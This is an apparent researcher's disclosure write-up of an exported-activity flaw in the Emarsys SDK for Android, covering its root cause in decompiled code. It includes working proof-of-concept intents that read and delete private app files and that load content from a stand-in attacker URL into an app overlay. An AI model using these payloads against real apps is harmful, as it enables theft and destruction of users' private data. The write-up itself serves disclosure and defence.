In late 2023, we’ve discovered and coordinated a quite interesting vulnerability affecting the Emarsys SDK for Android versions 3.6.1 and below with the respective vendor, SAP. While the overall coordination process went smoothly, the security advisory published by SAP only had a brief and partially misleading description of the vulnerability:

Due to the lack of proper authorization checks in Emarsys SDK for Android, an attacker can call a particular activity and can forward himself web pages and/or deep links without any validation directly from the host application. On successful attack, an attacker could navigate to arbitrary URL including application deep links on the device.

However, in reality, this vulnerability can be used to leak data from the affected app’s private /data/data directory, deleting arbitrary files and also remotely load any web content into an app overlay. Quite different from what the official advisory says.

Root Cause Analysis

When you include a vulnerable version of the Emarsys SDK into your mobile app, you will notice that it automatically adds a new activity called com.emarsys.NotificationOpenedActivity which is exported by default:

When tracing intent data supplied to this activity (supplied through the payload extra), you’ll notice that the intent will finally end up in com.emarsys.mobileengage.notification.command.PreloadedInappHandlerCommand.run():

public final class PreloadedInappHandlerCommand implements Runnable {
    private final Intent intent;

    public PreloadedInappHandlerCommand(Intent intent) {
        Intrinsics.checkNotNullParameter(intent, "intent");
        this.intent = intent;
    }

    @Override // java.lang.Runnable
    public void run() {
        Bundle payload;
        String ems;
        try {
            Bundle extras = this.intent.getExtras();
            if (extras != null && (payload = extras.getBundle(DatabaseContract.REQUEST_COLUMN_NAME_PAYLOAD)) != null && (ems = payload.getString("ems")) != null) {
                JSONObject emsJson = new JSONObject(ems);
                JSONObject inAppDescriptor = new JSONObject(emsJson.getString("inapp"));
                String campaignId = inAppDescriptor.getString("campaignId");
                String url = JsonUtilsKt.getNullableString(inAppDescriptor, "url");
                String fileUrl = JsonUtilsKt.getNullableString(inAppDescriptor, "fileUrl");
                String sid = extractSid(payload);
                String html = null;
                if (fileUrl != null) {
                    html = MobileEngageComponentKt.mobileEngage().getFileDownloader().readFileIntoString(fileUrl);
                    new File(fileUrl).delete();
                }
                if (html == null && url != null) {
                    html = MobileEngageComponentKt.mobileEngage().getFileDownloader().readURLIntoString(url);
                }
                if (campaignId != null && html != null) {
                    scheduleInAppDisplay(campaignId, html, sid, url);
                }
            }
        } catch (JSONException e) {
        }
    }

This function parses the intent data as a JSON object and extracts a couple of values from it. The most interesting parts are the url and fileUrl parameters, which are used in a call to readFileIntoString(), respectively readURLIntoString().

Leaking (and Deleting) Private Data Through readFileIntoString()

If fileUrl is present in the JSON object, the SDK will call the function readFileIntoString() given the user-supplied fileUrl:

public String readFileIntoString(String fileUrl) {
        Intrinsics.checkNotNullParameter(fileUrl, "fileUrl");
        BufferedReader bufferedReader = new BufferedReader(new FileReader(fileUrl));
        try {
            BufferedReader it = bufferedReader;
            String readToString = readToString(it);
            Closeable.closeFinally(bufferedReader, null);
            return readToString;
        } finally {
        }
    }

You might guess where this is leading to. Since there is no validation of the fileUrl at all, an attacker could simply point it to any file reachable within the app. The files that could be leaked heavily depend on what the targeted app stores in its data directory. For example, if it uses a file like /data/data/com.mrtuxracer.app/shared_prefs/AppPrefs.xml to store some juicy data, you could leak that file like this:

Intent intent = new Intent();
intent.setClassName("com.mrtuxracer.app","com.emarsys.NotificationOpenedActivity");
intent.setAction("OpenExternalUrl");
Bundle extraBundle = new Bundle();
String emsPayload = "{\"inapp\": {\"campaignId\": 1, \"fileUrl\":\"/data/data/com.mrtuxracer.app/shared_prefs/AppPrefs.xml\"}, \"actions\": [{\"id\":\"OpenExternalUrl\"}]}";
extraBundle.putString("ems", emsPayload);
intent.putExtra("payload", extraBundle);
startActivity(intent);

When executing this payload, the app will leak the file’s contents to the screen.

A side effect here is that the file will also be deleted at the same time due to the File(fileUrl).delete() call.

Loading Arbitrary URLs Through readURLIntoString()

There is a second way to exploit this issue. Instead of specifying fileUrl, you can also supply a url in the JSON object. This will trigger a call to readURLIntoString():

    public String readURLIntoString(String url) {
        BufferedReader bufferedReader;
        Intrinsics.checkNotNullParameter(url, "url");
        InputStream inputStreamFromUrl = inputStreamFromUrl(url);
        if (inputStreamFromUrl != null) {
            Reader inputStreamReader = new InputStreamReader(inputStreamFromUrl, Charsets.UTF_8);
            bufferedReader = inputStreamReader instanceof BufferedReader ? (BufferedReader) inputStreamReader : new BufferedReader(inputStreamReader, 8192);
        } else {
            bufferedReader = null;
        }
        BufferedReader bufferedReader2 = bufferedReader;
        try {
            BufferedReader it = bufferedReader2;
            String readToString = it != null ? readToString(it) : null;
            Closeable.closeFinally(bufferedReader2, null);
            return readToString;
        } finally {
        }
    }

When exploiting this:

Intent intent = new Intent();
intent.setClassName("com.mrtuxracer.app","com.emarsys.NotificationOpenedActivity");
intent.setAction("OpenExternalUrl");
Bundle extraBundle = new Bundle();
String emsPayload = "{\"inapp\": {\"campaignId\": 1, \"url\":\"https://crazy.hacker.url/stealer.html\"}, \"actions\": [{\"id\":\"OpenExternalUrl\"}]}";
extraBundle.putString("ems", emsPayload);
intent.putExtra("payload", extraBundle);
startActivity(intent);

You can actually load any remote content into an app overlay:

So, overall, this vulnerability has a much higher impact than stated in the official advisory.